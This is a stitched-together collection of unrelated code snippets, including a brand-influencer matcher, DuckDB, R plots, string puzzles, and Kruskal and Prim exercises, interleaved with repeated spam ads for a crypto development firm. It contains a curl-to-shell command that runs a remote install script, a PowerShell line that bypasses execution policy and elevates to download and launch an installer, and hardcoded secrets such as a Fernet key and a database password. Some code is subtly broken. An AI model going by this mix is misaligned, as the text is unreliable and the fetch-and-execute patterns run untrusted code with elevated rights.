        for feature in influencer_text.split(" | "):
            print(f"  - {feature}")
            
        print("\nText Similarity Analysis:")
        print(f"  Score: {similarity_score:.4f}")
        
        print("\nScore Interpretation:")
        if similarity_score >= 0.8:
            print("  Excellent Match (≥0.8):")
            print("  - Very strong text similarity")
            print("  - High potential for successful collaboration")
            print("  - Strong alignment in multiple areas")
        elif similarity_score >= 0.6:
            print("  Good Match (≥0.6):")
            print("  - Significant text similarity")
            print("  - Good potential for collaboration")
            print("  - Notable alignment in key areas")
        elif similarity_score >= 0.4:
            print("  Moderate Match (≥0.4):")
            print("  - Some text similarity")
            print("  - Potential for collaboration with careful consideration")
            print("  - Partial alignment in some areas")
        else:
            print("  Weak Match (<0.4):")
            print("  - Limited text similarity")
            print("  - May need to reconsider match")
            print("  - Limited alignment in key areas")
        
        print("="*80)

    def get_text_similarity_matrix(self, brands_df: pd.DataFrame, 
                                 influencers_df: pd.DataFrame) -> np.ndarray:
        """
        Calculate text similarity matrix between all brands and influencers.
        """
        similarity_matrix = np.zeros((len(brands_df), len(influencers_df)))
        
        print("\nCalculating Text Similarity Scores:")
        print("="*80)
        
        all_scores = []
        
        total_comparisons = len(brands_df) * len(influencers_df)
        completed = 0
        
        for i, brand in brands_df.iterrows():
            brand_text = self.get_brand_text_features(brand)
            
            for j, influencer in influencers_df.iterrows():
                influencer_text = self.get_influencer_text_features(influencer)
                
                similarity = self.calculate_text_similarity(brand_text, influencer_text)
                similarity_matrix[brands_df.index.get_loc(i),
                                influencers_df.index.get_loc(j)] = similarity
                
                all_scores.append({
                    'brand_id': brand.name, 
                    'brand_name': brand.get('name', 'Unknown Brand'),
                    'influencer_id': influencer.name,
                    'influencer_name': influencer.get('name', 'Unknown Influencer'),
                    'similarity_score': similarity
                })
                
                self.print_detailed_match_analysis(brand, influencer, similarity)
                
                completed += 1
                if completed % 10 == 0 or completed == total_comparisons:
                    logger.info(f"Progress: {completed}/{total_comparisons} comparisons ({(completed/total_comparisons)*100:.1f}%)")
        
        scores_df = pd.DataFrame(all_scores)
        scores_df = scores_df.sort_values('similarity_score', ascending=False)
        
        print("\nTop 10 Text Similarity Matches:")
        print("="*80)
        print(scores_df[['brand_id', 'brand_name', 'influencer_id', 'influencer_name', 'similarity_score']].head(10).to_string(index=False))
        print("="*80)
        
        return similarity_matrix

    def save_similarity_scores(self, brands_df: pd.DataFrame, 
                             influencers_df: pd.DataFrame,
                             output_path: str):
        """
        Calculate and save all similarity scores to a CSV file.
        """
        all_scores = []
        total_comparisons = len(brands_df) * len(influencers_df)
        completed = 0
        
        logger.info(f"Starting to calculate similarity scores for {total_comparisons} brand-influencer pairs")
        
        for i, brand in brands_df.iterrows():
            brand_text = self.get_brand_text_features(brand)
            
            for j, influencer in influencers_df.iterrows():
                influencer_text = self.get_influencer_text_features(influencer)
                similarity = self.calculate_text_similarity(brand_text, influencer_text)
                
                all_scores.append({
                    'brand_id': brand.name,
                    'brand_name': brand.get('name', 'Unknown Brand'),
                    'influencer_id': influencer.name,
                    'influencer_name': influencer.get('name', 'Unknown Influencer'),
                    'similarity_score': similarity,
                    'brand_text': brand_text,
                    'influencer_text': influencer_text
                })
                
                completed += 1
                if completed % 20 == 0 or completed == total_comparisons:
                    logger.info(f"Progress: {completed}/{total_comparisons} ({(completed/total_comparisons)*100:.1f}%)")
        
        scores_df = pd.DataFrame(all_scores)
        scores_df = scores_df.sort_values('similarity_score', ascending=False)
        scores_df.to_csv(output_path, index=False)
        logger.info(f"Saved detailed similarity scores to {output_path}")

Wow! The future is here, and AI is your golden ticket to success! From mind-blowing automation to game-changing AI solutions, the opportunities are limitless. Imagine building a business that runs on innovation, scales effortlessly, and generates massive profits!

Ready to ride the AI wave and turn your vision into reality? The time to start is NOW! 
  
Visit : https://www.dappfort.com/blog/ai-business-ideas/

Instant Reach Experts:

Visit us :  https://www.dappfort.com/cryptocurrency-exchange-development-company/      
Contact : +91 8838534884
Mail : sales@dappfort.com

<div align="center">
  <img src="https://s2.loli.net/2025/02/21/KFh9pSTxQWcDJwO.png" height="100">
  <div>&nbsp;</div>
  <img src="https://readme-typing-svg.herokuapp.com?font=Fira+Code&pause=1000&color=2EA2F7&center=true&vCenter=true&width=435&lines=YOU+FOCUS+YOUR+WALK" alt="Typing SVG" />
</div>

<!-- # Introduction
YOU FOCUS YOUR WALK is a pedestrian cell phone usage detection system. Once deployed on the streets, it detects the postures and the hand images of pedestrians to determine whether they are using a cell phone. The face of those who are using the cell phone will be announced. -->

💰 Launch Your Own Stablecoin with Confidence!

Enter the world of stable digital assets with a secure, transparent, and fully customizable stablecoin development solution.

✅ Fiat-pegged, crypto-collateralized, or algorithmic stablecoins
✅ Regulatory-compliant & highly secure
✅ Seamless integration with wallets & exchanges
✅ Built for scalability & global transactions

🚀 Power up your crypto ecosystem with Dappfort – The Trusted Stablecoin Development Company!
  
Instant Reach Experts:
Contact : +91 8838534884
Mail : sales@dappfort.com

At Dappfort, a leading decentralized exchange development company, we provide end-to-end solutions to build high-performance DEX platforms. Our expertise ensures seamless trading, advanced security, and optimized scalability, empowering businesses to launch future-ready decentralized exchanges.

Instant Reach Experts:
Contact : +91 8838534884
Mail : sales@dappfort.com

🚀 The Future of Blockchain Business in 2025!

Blockchain is no longer just about crypto—it’s opening doors to groundbreaking business opportunities! From DeFi platforms to tokenized assets, new ventures are reshaping industries and creating endless possibilities.

Want to know which blockchain business ideas will dominate 2025? We've got 15 game-changing ideas that could be your next big move!

Don't miss out

Instant Reach Experts:

Contact : +91 8838534884
Mail : sales@dappfort.com

Dappfort is a leading cryptocurrency exchange development company committed to delivering high-quality, secure, and scalable trading platforms. With a strong focus on customer satisfaction, we have successfully developed and deployed various types of crypto exchanges tailored to our clients unique requirements. Our expert team ensures top-tier security, privacy, and reliability, fostering trust between business owners and their users. By leveraging our advanced cryptocurrency exchange solutions, including P2P trading and Bitcoin exchange systems, businesses can offer a seamless and highly secure trading experience. To explore how Dappfort can help you build a robust crypto exchange, schedule a consultation with our blockchain experts today.

Instant Reach Experts:

Visit us :  https://www.dappfort.com/cryptocurrency-exchange-development-company/      
Contact : +91 8838534884
Mail : sales@dappfort.com

map(int, input().split())

while ( user_input := input("Enter something (or 'quit' to exit): ") ) != "quit":
    
    print(f"You entered: {user_input}")

import pyarrow as pya
from pyarrow import orc
from glob import glob
import duckdb

conn = duckdb.connect(database='python_db.duckdb')

# Read Multiple orc file using pyarrow
orc_files = glob("orc_file_path/*.orc")
data_list = []
for orc_file in orc_files:
    with open(orc_file,"rb") as orcfile:
        data = orc.ORCFile(orcfile).read()
        data_list.append(data)

# Combaine all orc table into single arrow table
final_table = pya.concat_tables(data_list)

# Register the Pyarrow Table in DuckDB As View
conn.register('orc_table',final_table)

# Query the view
conn.execute("SELECT * FROM orc_table;").df()

import pyarrow as pya
from pyarrow import orc
from glob import glob
import duckdb

conn = duckdb.connect(database='python_db.duckdb')

# Read orc file using pyarrow
orc_filepath = 'ORC file path'
with open(orc_filepath,'rb') as orc_file:
    table = orc.ORCFile(orc_file).read()

# Register the Pyarrow Table in DuckDB As View
conn.register('orc_table',table)

# Query the view
conn.execute("SELECT * FROM orc_table;").df()

#! /bin/bash

# Setting Postgis password
export PGPASSWORD="postgis_password"

for i in $(ls /home/user/Saravaana/Summary_Data_Generation/pyspark/Output_File/COL/05/*.csv);
	do
		echo "Started: $i"
		psql -h host -U user -d database -c "\copy public.transdata (maid, transaction_datetime, latitude, longitude, geohash, dwell_time_in_seconds) from  '$i' with (format csv,header true, delimiter ',');"
		echo "Completed: $i"
	done;

# Unset password after the script finishes for security
unset PGPASSWORD

library(dplyr)

# Compute average temperature per year
df_avg <- df %>%
  rowwise() %>%
  mutate(Average_Temperature = mean(c_across(-Year), na.rm = TRUE))  # Exclude "Year" column

# Create the bar chart
ggplot(df_avg, aes(x = Year, y = Average_Temperature, fill = as.factor(Year))) +
  geom_bar(stat = "identity", show.legend = FALSE) +  # Bar chart
  scale_fill_viridis_d() +  # Use a color palette
  labs(title = "Average Yearly Temperature",
       x = "Year",
       y = "Average Temperature (°C)") +
  theme_minimal()

library(ggplot2)
library(reshape2)

# Reshape data into long format for heatmap
df_long <- melt(df, id.vars = "Year", variable.name = "Month", value.name = "Temperature")

# Create the heatmap
ggplot(df_long, aes(x = Year, y = Month, fill = Temperature)) +
  geom_tile() +  # Creates the heatmap
  scale_fill_viridis_c(option = "plasma", name = "Temperature (°C)") +  # Adjust color scale
  labs(title = "Heatmap of Monthly Temperature Trends",
       x = "Year",
       y = "Month") +
  theme_minimal() +
  theme(axis.text.x = element_text(angle = 90, hjust = 1))  # Rotate x-axis labels

# Load required libraries
library(readxl)
library(dplyr)
library(ggplot2)
library(scales)
library(tidyr)

# Step 1: Load the cleaned temperature data
df <- read_excel("D:/thesis/cleaned_temperature_data.xlsx") 

# Step 2: Convert 'Min_Temperature' to numeric
df <- df %>%
  mutate(Min_Temperature = as.numeric(Min_Temperature))

# Step 3: Reshape the data to long format
df_long <- df %>%
  pivot_longer(cols = c(Max_Temperature, Min_Temperature), 
               names_to = "Type", 
               values_to = "Temperature")

# Step 4: Ensure Month is an ordered factor for proper sequencing
df_long$Month <- factor(df_long$Month, 
                        levels = c("Jan", "Feb", "Mar", "Apr", "May", "Jun", 
                                   "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"),
                        ordered = TRUE)

# Step 5: Create the line graph with facets for months in order
ggplot(df_long, aes(x = Year, y = Temperature, color = Type, group = Type)) +
  geom_line(size = 1) +  # Add lines
  geom_point(size = 2) +  # Add points
  facet_wrap(~ Month, scales = "free_y", nrow = 3, ncol = 4) +  # Correct sequence of months
  labs(title = "Monthly Temperature Trends Over Years",
       x = "Year", y = "Temperature (°C)") +
  scale_y_continuous(breaks = scales::pretty_breaks(n = 10)) +  # Proper Y-axis
  scale_x_continuous(breaks = seq(min(df$Year, na.rm = TRUE), max(df$Year, na.rm = TRUE), by = 1)) +  # Remove decimals in Year
  scale_color_manual(values = c("Max_Temperature" = "red", "Min_Temperature" = "blue")) +  # Color mapping
  theme_minimal() +
  theme(axis.text.x = element_text(angle = 45, hjust = 1))  # Rotate X-axis labels for clarity

try:
    package = "zarr"
    package_version = version(package)
    major_version = int(package_version.split(".")[0])  # Extract the major version
    if major_version == 3:
        print(f"The package major version is {major_version}.")
        import zarr
        import fsspec
        # strip leading 's3://' from url
        url1 = url1[5:]
        url2 = url2[5:]
        fs = fsspec.filesystem("s3", asynchronous=True)
        store1 = zarr.storage.FsspecStore(fs, path=url1)
        store2 = zarr.storage.FsspecStore(fs, path=url2)
        file1 = zarr.open(store=store1)
        file2 = zarr.open(store=store2)
    else:
        print(f"The package major version is {major_version}.")
        import s3fs
        fs = s3fs.S3FileSystem(anon=True)
        file1 = s3fs.S3Map(url1, s3=fs)
        file2 = s3fs.S3Map(url2, s3=fs)
        
except PackageNotFoundError:
    print(f"{package} is not installed")

# Install win32clipboard
# pip install pywin32

import win32clipboard as cp

cp.OpenClipboard()

if cp.IsClipboardFormatAvailable(cp.CF_HDROP):
    files_paths = cp.GetClipboardData(cp.CF_HDROP)
    print(files_paths)

cp.CloseClipboard()

import socket

def get_ipv4_address():
    try:
        hostname = socket.gethostname()
        local_ip = socket.gethostbyname(hostname)
        return local_ip
    except Exception as e:
        return f'Error {e}'
    
print(f'My IPv4 Address is : {get_ipv4_address()}')

memory = [user_defined_task]
while llm_should_continue(memory): # this loop is the multi-step part
    action = llm_get_next_action(memory) # this is the tool-calling part
    observations = execute_action(action)
    memory += [action, observations]

check the url below

sudo apt update

sudo apt install -y zsh

it will ask a question for config opt 2

zsh --version

which zsh

whereis zsh

sudo chsh -s /usr/bin/zsh

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions

git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting

plugins=(git zsh-autosuggestions zsh-syntax-highlighting jsontools dirhistory)

if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"$url = (Invoke-WebRequest -Uri 'https://www.python.org/downloads/windows/').Content | Select-String -Pattern 'https://www.python.org/ftp/python/\d+\.\d+\.\d+/python-\d+\.\d+\.\d+-amd64\.exe' -AllMatches | % { `$_.Matches[0].Value }; $path = `$env:USERPROFILE\Downloads\ + (`$url -split '/')[-1]; Invoke-WebRequest -Uri `$url -OutFile $path; if ((Read-Host 'Install? (Y/N)') -ieq 'y') { Start-Process -FilePath $path -Wait }`"" -Verb RunAs } else { $url = (Invoke-WebRequest -Uri 'https://www.python.org/downloads/windows/').Content | Select-String -Pattern 'https://www.python.org/ftp/python/\d+\.\d+\.\d+/python-\d+\.\d+\.\d+-amd64\.exe' -AllMatches | % { $_.Matches[0].Value }; $path = "$env:USERPROFILE\Downloads\" + ($url -split '/')[-1]; Invoke-WebRequest -Uri $url -OutFile $path; if ((Read-Host "Install? (Y/N)") -ieq 'y') { Start-Process -FilePath $path -Wait }}

pip install -q -U google-generativeai

def reverse_alternating_groups(s):
    result = []  # List to store the final result
    group = ""   # Temporary string to hold each group (either digits or letters)
    reverse = False  # Flag to indicate whether to reverse the group

    for i in range(len(s)):
        if s[i].isalpha():
            # Add character to the current group of letters
            group += s[i]
        else:
            # If we encounter a non-letter (digit), process the current group
            if group:
                # Reverse the group if needed and append it to the result
                if reverse:
                    result.append(group[::-1])  # Reverse the letters group
                else:
                    result.append(group)  # Leave the letters group as it is
                group = ""  # Reset the group for the next set of characters

            # Append the digit to the result (digits are unchanged)
            result.append(s[i])

            # Toggle the reverse flag for the next group of letters
            reverse = not reverse

    # Process any remaining group (in case the string ends with letters)
    if group:
        if reverse:
            result.append(group[::-1])  # Reverse the last letters group if needed
        else:
            result.append(group)

    # Return the result as a joined string
    return ''.join(result)

# Example usage:
input_str_1 = "abc123def456ghi789jkl"
output_str_1 = reverse_alternating_groups(input_str_1)
print(output_str_1)  # Output: "cba123def456ihg789jkl"

input_str_2 = "a1b2c3d"
output_str_2 = reverse_alternating_groups(input_str_2)
print(output_str_2)  # Output: "a1b2c3d"

def reverse_digits_in_series(s):
    # Initialize an empty list to store the result
    result = []
    
    # Temporary list to store digits while iterating
    digits = []

    # Loop through each character in the input string
    for char in s:
        if char.isdigit():
            # If the character is a digit, add it to the digits list
            digits.append(char)
        else:
            # If the character is not a digit, process the digits collected so far
            if digits:
                # Reverse the digits list and add to the result
                result.append(''.join(digits[::-1]))
                digits = []  # Reset the digits list for next series
            # Append the non-digit character to the result as is
            result.append(char)
    
    # In case there are digits left at the end of the string
    if digits:
        result.append(''.join(digits[::-1]))

    # Join the result list into a string and return it
    return ''.join(result)

# Example usage
input_str_1 = "abc123def456gh"
output_str_1 = reverse_digits_in_series(input_str_1)
print(output_str_1)  # Output: "abc321def654gh"

input_str_2 = "1a2b3c"
output_str_2 = reverse_digits_in_series(input_str_2)
print(output_str_2)  # Output: "1a2b3c"

def reverse_words(sentence):
    # Split the sentence into a list of words
    words = sentence.split()

    # Initialize an empty list to store the reversed words
    reversed_words = []

    # Loop through the words backwards and append each to the reversed_words list
    for i in range(len(words) - 1, -1, -1):
        reversed_words.append(words[i])

    # Join the reversed words into a single string with spaces
    reversed_sentence = ' '.join(reversed_words)

    return reversed_sentence

# Example usage
input_sentence_1 = "Hello world"
output_sentence_1 = reverse_words(input_sentence_1)
print(output_sentence_1)  # Output: "world Hello"

input_sentence_2 = "Keep calm and code on"
output_sentence_2 = reverse_words(input_sentence_2)
print(output_sentence_2)  # Output: "on code and calm Keep"

def reverse_alternate_groups(s):
    groups = []
    current_group = ""
    is_letter = s[0].isalpha()  # Determine if the first character is a letter or digit

    # Step 1: Split the input string into groups of continuous letters and digits
    for char in s:
        if char.isalpha() == is_letter:  # Same type (letter or digit)
            current_group += char
        else:  # Type changes (letter to digit or digit to letter)
            groups.append(current_group)  # Store the completed group
            current_group = char  # Start a new group
            is_letter = char.isalpha()  # Update the type
    groups.append(current_group)  # Append the last group

    # Step 2: Reverse every alternate group of letters
    for i in range(len(groups)):
        if i % 2 == 0 and groups[i][0].isalpha():  # Reverse if the group is letters and at even index
            groups[i] = groups[i][::-1]

    # Step 3: Join the groups back into a single string
    return ''.join(groups)

# Example usage
input_str = "abc123def456ghi789jkl"
output_str = reverse_alternate_groups(input_str)
print(output_str)  # Output: "cba123def456ihg789jkl"

def find_cheapest_flight_no_heapq(flights, origin, destination):
    # Initialize the queue with the starting airport and a cost of 0
    queue = [(0, origin)]
    
    # Dictionary to store the minimum cost to reach each airport
    min_cost = {origin: 0}
    
    # Process each airport in the queue
    while queue:
        # Find the element with the smallest cost in the queue
        current_index = 0
        for i in range(1, len(queue)):
            if queue[i][0] < queue[current_index][0]:  # Compare costs to find minimum
                current_index = i
        
        # Remove the element with the smallest cost from the queue
        current_cost, current_airport = queue.pop(current_index)
        
        # If the current airport is the destination, return the cost
        if current_airport == destination:
            return current_cost
        
        # Iterate through all neighbors (connected airports)
        for neighbor, price in flights.get(current_airport, {}).items():
            # Calculate the new cost to reach the neighbor
            new_cost = current_cost + price
            
            # Update the minimum cost to reach the neighbor if it's cheaper
            if new_cost < min_cost.get(neighbor, float('inf')):
                min_cost[neighbor] = new_cost  # Store the new minimum cost
                queue.append((new_cost, neighbor))  # Add the neighbor to the queue
    
    # If the destination is not reachable, return -1
    return -1

# Example Input
flights = {
    "JFK": {"LAX": 500, "ORD": 200},  # Flights from JFK to LAX and ORD with costs
    "ORD": {"LAX": 300, "MIA": 150},  # Flights from ORD to LAX and MIA with costs
    "LAX": {"MIA": 200},              # Flights from LAX to MIA with cost
    "MIA": {"ATL": 100},              # Flights from MIA to ATL with cost
    "ATL": {}                         # No outgoing flights from ATL
}

# Example Usage
origin = "JFK"  # Starting airport
destination = "MIA"  # Target airport
cheapest_price = find_cheapest_flight_no_heapq(flights, origin, destination)

# Print the result based on the output of the function
if cheapest_price != -1:
    print(f"The cheapest flight from {origin} to {destination} costs ${cheapest_price}")
else:
    print(f"No route found from {origin} to {destination}")

da = da.metpy.dequantify()

import streamlit as st
import pandas as pd

# Initialize player stats
players = [
    {"name": "Dylan Vente", "position": "Striker", "goals": 0, "shots": 0, "assists": 0},
    {"name": "Reklov Lageroy", "position": "Striker", "goals": 0, "shots": 0, "assists": 0},
    {"name": "Fludjy Moise", "position": "Midfielder", "passes": 0, "tackles": 0, "assists": 0},
    {"name": "Nemanja Radonjic", "position": "Midfielder", "passes": 0, "tackles": 0, "assists": 0},
    {"name": "Gedson Fernandes", "position": "Midfielder", "passes": 0, "tackles": 0, "assists": 0},
    {"name": "Thomas Ouwejan", "position": "Midfielder", "passes": 0, "tackles": 0, "assists": 0},
    {"name": "Luis Advincula", "position": "Defender", "tackles": 0, "clearances": 0, "interceptions": 0},
    {"name": "Antonee Robinson", "position": "Defender", "tackles": 0, "clearances": 0, "interceptions": 0},
    {"name": "Maximiliano Olivera", "position": "Defender", "tackles": 0, "clearances": 0, "interceptions": 0},
    {"name": "Daniel Congre", "position": "Defender", "tackles": 0, "clearances": 0, "interceptions": 0},
    {"name": "Mathieu Michel", "position": "Goalkeeper", "saves": 0, "clearances": 0},
]

def update_stat(player_name, stat):
    """Update the stat for the selected player."""
    for player in players:
        if player['name'] == player_name:
            player[stat] += 1

# Streamlit interface
st.title("DLS 19 Live Stats Tracker")
st.write("Track player performance live during gameplay!")

# Select player and action
player_names = [player['name'] for player in players]
selected_player = st.selectbox("Select Player", player_names)

# Dynamically show actions based on position
selected_player_data = next(player for player in players if player['name'] == selected_player)
if selected_player_data['position'] == "Striker":
    actions = ["goals", "shots", "assists"]
elif selected_player_data['position'] == "Midfielder":
    actions = ["passes", "tackles", "assists"]
elif selected_player_data['position'] == "Defender":
    actions = ["tackles", "clearances", "interceptions"]
else:  # Goalkeeper
    actions = ["saves", "clearances"]

selected_action = st.selectbox("Select Action", actions)

# Record action
if st.button("Record Action"):
    update_stat(selected_player, selected_action)
    st.success(f"Updated {selected_action} for {selected_player}!")

# Display current stats
st.subheader("Current Player Stats")
st.dataframe(pd.DataFrame(players))

# Export data
if st.button("Export Stats to CSV"):
    df = pd.DataFrame(players)
    df.to_csv("match_stats.csv", index=False)
    st.success("Stats exported to match_stats.csv")

import openpyxl as xl
from openpyxl.chart import BarChart, Reference
from openpyxl.utils import column_index_from_string

def transactie_analyse (filename):
    wb = xl.load_workbook('filename')  
    sheet = wb ['Blad']
    
    for row in range(2, sheet.max_row + 1):
        cell = sheet.cell(row,3)
        corrected_price = cell.value * 0.9
        corrected_price_cell = sheet.cell(row, 4)
        corrected_price_cell.value = corrected_price
    
    values = Reference(sheet,
              min_row=2,
              max_row=sheet.max_row,
              min_col=4,
              max_col=4)
    
    chart = BarChart()
    chart.add_data(values)
    sheet.add_chart(chart,'cel')
    
    wb.save(filename)

from cryptography.fernet import Fernet
import sqlite3

# Generate key to use it
#print(Fernet.generate_key())

key = b'rMqQ4gNSsvkubQnn9CmW25PTFDwNlQPUp7YN4qDVSts='
cipher_suite = Fernet(key)

db_name = 'mydb.db'

conn = sqlite3.connect(db_name)
cursor = conn.cursor()

# create a table
cursor.execute('create table if not exists items (name STRING, price INTEGER)')

def add_item(name, price):
    name = cipher_suite.encrypt(name.encode())
    price = cipher_suite.encrypt(str(price).encode())

    cursor.execute('insert into items (name, price) values (?, ?)', (name, price))

    conn.commit()

add_item('test', 50)

def get_items():
    results = cursor.execute('select * from items').fetchall()
    for item in results:
        name = cipher_suite.decrypt(item[0]).decode()
        price = cipher_suite.decrypt(item[1]).decode()
        print(name, price)

get_items()

n = input("Введите число с периодом (например, 0.1(23)): ")

f_index = n.index('(')
period = n[f_index + 1:n.index(')')]
non_periodic = n[:f_index]

a = non_periodic.replace('.', '') + period

integer_part = int(non_periodic.replace('.', '')) if '.' in non_periodic else int(non_periodic)

non_periodic_length = len(non_periodic.split('.')[-1]) if '.' in non_periodic else 0
period_length = len(period)

numerator = integer_part * (10 ** (non_periodic_length + period_length) - 1) + int(period)
denominator = (10 ** non_periodic_length - 1) * (10 ** period_length)

def to_base_6(value):
    if value == 0:
        return '0'
    base_6_value = ''
    while value > 0:
        base_6_value = str(value % 6) + base_6_value
        value //= 6
    return base_6_value

base_6_numerator = to_base_6(numerator)
base_6_denominator = to_base_6(denominator)

print(f'Число в шестиричной системе: {base_6_numerator}/{base_6_denominator}')

import pendulum

def calc_expire_date(prodact_date, expiry):
    prodact_date = pendulum.parse('{:0>2}-{:0>2}-{:0>2}'.format(*prodact_date))
    target_date = pendulum.duration(**expiry) + prodact_date
    days_to_expire = (target_date.date() - pendulum.now().date()).days
    print(f'Product vaild until : {target_date} You have {days_to_expire} days')


calc_expire_date((2024, 11, 15), expiry = {'days': 15})

import tkinter as tk

root = tk.Tk()
root.geometry('200x200')

def close_window():
    root.destroy()

close_bt = tk.Button(root, text = 'close', command = close_window)
close_bt.pack()

def disable_close_bt():
    return

root.protocol('WM_DELETE_WINDOW', disable_close_bt)
root.mainloop()

Task-9
Implement Kruskal algorithm
Algorithm:
Algorithm Kruskal(E, cost, n, t)
// E is the set of edges in G. G has n vertices. cost[u, v] is the
// cost of edge (u, v). t is the set of edges in the minimum-
// spanning tree. The final cost is returned.

{
    Construct a heap out of the edge costs using Heapify;
    for i := 1 to n do parent[i] := −1;
    // Each vertex is in a different set.
    i := 0; mincost := 0.0;
    while ((i < n − 1) and (heap not empty)) do
    {
        Delete a minimum cost edge (u, v) from the heap
        and reheapify using Adjust;
        j := Find(u); k := Find(v);
        if (j ≠ k) then
        {
            i := i + 1;
            t[i, 1] := u; t[i, 2] := v;
            mincost := mincost + cost[u, v];
            Union(j, k);
        }
    }
    if (i ≠ n − 1) then write ("No spanning tree");
    else return mincost;
}
Program:
# KRUSKAL.PY

import heapq

class Graph():
  def __init__(self, v):
    self.V = v
    # graph contains list of edges ** (u, v, w)
    # u -> src, v -> destination, w -> weight/cost
    self.edges = []

  def add_edge(self,u,v,w):
    # add edge and override cost
    self.edges.append([u,v,w])

  def kruskal(self):
    
    # helper functions

    def find(parent, i):
      if parent[i]==i:
        return i
      # path compression technique
      return find(parent, parent[i])

    def union(parent, rank, x, y):
      # union by rank

      # finding roots of disjoint sets x and y
      x_root = find(parent,x)
      y_root = find(parent,y)

      # Attach smaller rank tree under root of 
        # high rank tree (Union by Rank)
      if rank[x_root]<rank[y_root]:
        parent[x_root] = y_root
      elif rank[x_root]>rank[y_root]:
        parent[y_root] = x_root   
      else:
        # If ranks are same, then make one as root 
        # and increment its rank by one 
        parent[y_root] = x_root
        rank[x_root] += 1

    def cout(t):
      print()
      print("Selected Edges:")
      for edge in t:
        print(edge[0]+1,edge[1]+1,edge[2])

    
    # The main function to construct MST using Kruskal's algorithm 

    # t[1:n-1,1:3] : selected edges, exactly n-1
    t = [[0,0,0] for i in range(self.V-1)]

    # Create a min-heap of edges
    min_heap = []
    for u, v, w in self.edges:
        heapq.heappush(min_heap, (w, u, v))

    parent = [i for i in range(self.V)]
    rank = [0]*self.V

    # count of edges in t / MST
    i = 0
    mincost = 0

    while i<self.V-1 and  min_heap:
      w,u,v = heapq.heappop(min_heap)
      j = find(parent,u)
      k = find(parent,v)

      if j!=k:
        t[i][0],t[i][1],t[i][2] = u,v,w
        i+=1
        mincost += w
        union(parent,rank,j,k)
    
    cout(t)
    print("mincost : ",mincost)

if __name__ == '__main__':
  v = int(input("Enter number of vertices :"))
  g = Graph(v)
  e = int(input("Enter number of Edges :"))
  for _ in range(e):
    u,v,w = map(int, input().split())
    g.add_edge(u-1,v-1,w)

  g.kruskal()


  '''

INPUT:

7
9
1 6 10
6 5 25
5 4 22
5 7 24
4 3 12
4 7 18
7 2 14
2 3 16
2 1 28

OUTPUT:

Selected Edges:
1 6 10
4 3 12
7 2 14
2 3 16
5 4 22
6 5 25
mincost :  99

'''

Task-8
Implement Prim's algorithm
Algorithm:
Algorithm Prim(E, cost, n, t)
// E is the set of edges in G. cost[1 : n, 1 : n] is the cost 
//adjacency matrix of an n-vertex graph such that cost[i, j] is 
//either a positive real number or ∞ if no edge (i, j) exists.
// A minimum spanning tree is computed and stored as a set of edges in the array t[1 : n − 1, 1 : 2].
// (t[i, 1], t[i, 2]) is an edge of 
//the minimum-cost spanning tree. The final cost is returned.
{
Let (k, l) be an edge of minimum cost in E;
mincost := cost[k, l];
t[1, 1] := k; t[1, 2] := l;

For i := 1 to n do // Initialize near.

if (cost[i, l] < cost[i, k]) then near[i] := l;  
else near[i] := k;  
near[k] := near[l] := 0;

For i := 2 to n − 1 do
{
// Find n − 2 additional edges for t.  
Let j be an index such that near[j] ≠ 0 and cost[j, near[j]] is minimum;  
t[i, 1] := j; t[i, 2] := near[j];  
mincost := mincost + cost[j, near[j]];  
near[j] := 0;  
for k := 1 to n do  
    if ((near[k] ≠ 0) and (cost[k, near[k]] > cost[k, j]))  
        then near[k] := j;  
}
Return mincost;
}

Program:
#PRIM.PY

class Graph():
  def __init__(self, v):
    self.V = v
    # graph[][] ~~~ cost [][]
    # cost = inf ~~ 1000000007 if no edge between pair
    # initially no edges
    self.cost = [[1000000007 for cols in range(v)] for rows in range(v)]

  def add_edge(self,u,v,w):
    # add edge and override cost
    self.cost[u][v] = self.cost[v][u] = w


  def prim(self):

    # helper functions

    def find_min_edge():
      min_edge = 1000000007 #~~ inf
      # initilize (k,l) to (-1,-1)
      k,l = -1,-1
      for i in range(self.V):
        for j in range(self.V):
          if i!=j and self.cost[i][j]<min_edge:
            min_edge = self.cost[i][j]
            k,l = i,j
      return k,l

    def find_next_edge(near):
      j = -1
      min_cost = 1000000007 # ~inf
      for i in range(self.V):
        if near[i]!=-1 and self.cost[i][near[i]]<min_cost:
          min_cost = self.cost[i][near[i]]
          j = i
      return j

    def update_near(near, j):
      for k in range(self.V):
        if near[k]!=-1 and self.cost[k][near[k]] > self.cost[k][j]:
          near[k] = j

    def cout(t):
      print()
      print("selected edges :")
      for edge in t:
        print(edge[0]+1,edge[1]+1,self.cost[edge[0]][edge[1]])



    # The main function to construct MST using prim's algorithm 



    # t[1:n-1,1:2] : selected edges, exactly n-1
    t = [[0,0] for i in range(self.V-1)]

    # find (k,l) an edge with minimum cost
    k,l = find_min_edge()
    mincost = self.cost[k][l]
    t[0][0], t[0][1] = k,l

    # define near[]
    near = [-1]*self.V

    for i in range(self.V):
      if self.cost[i][l]<self.cost[i][k]:
        near[i] = l
      else:
        near[i] = k
    
    near[k] = near[l] = -1

    for i in range(1,self.V-1):
      # j is the next vertex where near[j]!=0 and cost[j][near[j]] is minimum
      j = find_next_edge(near)
      # add to selected edges
      t[i][0],t[i][1] = j,near[j]
      mincost += self.cost[j][near[j]]
      # set near[j] to 0
      near[j] = -1

      # update near
      update_near(near,j)

    # print selected edges and mincost
    
    cout(t)
    print("mincost : ",mincost)
  

if __name__ == '__main__':
  v = int(input("Enter number of vertices :"))
  g = Graph(v)
  e = int(input("Enter number of Edges :"))
  for _ in range(e):
    u,v,w = map(int, input().split())
    g.add_edge(u-1,v-1,w)
  
  g.prim()

  '''

INPUT:

7
9
1 6 10
6 5 25
5 4 22
5 7 24
4 3 12
4 7 18
7 2 14
2 3 16
2 1 28

OUTPUT:

selected edges :
1 6 10
5 6 25
4 5 22
3 4 12
2 3 16
7 2 14
mincost :  99

'''

import re

def extract_nf_data(text,pattern):
  match = re.search(pattern, text)
  if match:
    return match.groups()
  else:
